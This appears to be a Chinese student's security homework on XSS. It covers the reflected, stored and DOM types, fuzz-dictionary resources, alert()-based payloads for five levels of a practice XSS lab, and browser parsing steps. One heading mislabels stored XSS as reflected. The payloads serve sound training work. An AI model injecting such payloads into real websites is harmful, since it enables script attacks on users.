第四次作业

一，总结反射型、存储型、DOM型XSS特点和区别

反射型xss

反射型xss是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接( 即每次攻击需要用户的点击)。

反射型xss

存储型XSS (Stored XSS)又称为持久型跨站点脚本，它一般发生在XSS攻击向量 (一般指XSS攻击代码)存储在网站数据库，当一个页面被用户打开的时候执行。每当用户打开浏览器，脚本执行。持久的XSS相比非持久性XSS攻击危害性更大，因为每当用户打开页面，查看内容时脚本将自动执行。

DOM型 XSS

DOM（Document Object Model）型 XSS（Cross-Site Scripting）攻击是一种 Web 应用程序中的安全漏洞，其特点是攻击者成功地注入了恶意脚本，这些脚本在用户的浏览器中执行，从而导致恶意行为。DOM 型 XSS 攻击不同于传统的存储型 XSS，它发生在客户端，通过操作 DOM 实现攻击。

二，上网搜索一份XSS 的fuzz字典或字典生成工具（可选）

字典

GitHub - fuzzdb-project/fuzzdb: Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.

生成工具

GitHub - c0ny1/upload-fuzz-dic-builder: 上传漏洞fuzz字典生成脚本

三， 到XSS挑战靶场打靶，要求通过5关以上，通关越多，加分越多。（https://xss.tesla-space.com/）

level1

插入一段js代码，get传参

url?name=<script>alert()</script>

level2

闭合掉双引号，构造payload

">  <script>alert()</script>  <"

level3

利用onfocus事件

' onfocus=javascript:alert() '

level4

利用onfocus事件

" onfocus=javascript:alert() "

level5

用a href标签法

"> <a href=javascript:alert()>xxx</a> <"

 四，总结浏览器解析机制，若不能理解，解释《漏洞利用之XSS注入》中15条中，至少5条执行成功或不成功的原因。（可选）

浏览器解析过程：

解析html以构建dom树 -> 构建render树 -> 布局render树 -> 绘制render树

当浏览器获得一个html文件时，会“自上而下”加载，并在加载过程中进行解析渲染。

解析：

1. 浏览器会将HTML解析成一个DOM树，DOM 树的构建过程是一个深度遍历过程：当前节点的所有子节点都构建好后才会去构建当前节点的下一个兄弟节点。

2. 将CSS解析成 CSS Rule Tree 。

3. 根据DOM树和CSSOM来构造 Rendering Tree。注意：Rendering Tree 渲染树并不等同于 DOM 树，因为一些像 Header 或 display:none 的东西就没必要放在渲染树中了。

4.有了Render Tree，浏览器已经能知道网页中有哪些节点、各个节点的CSS定义以及他们的从属关系。下一步操作称之为Layout，顾名思义就是计算出每个节点在屏幕中的位置。

5.再下一步就是绘制，即遍历render树，并使用UI后端层绘制每个节点。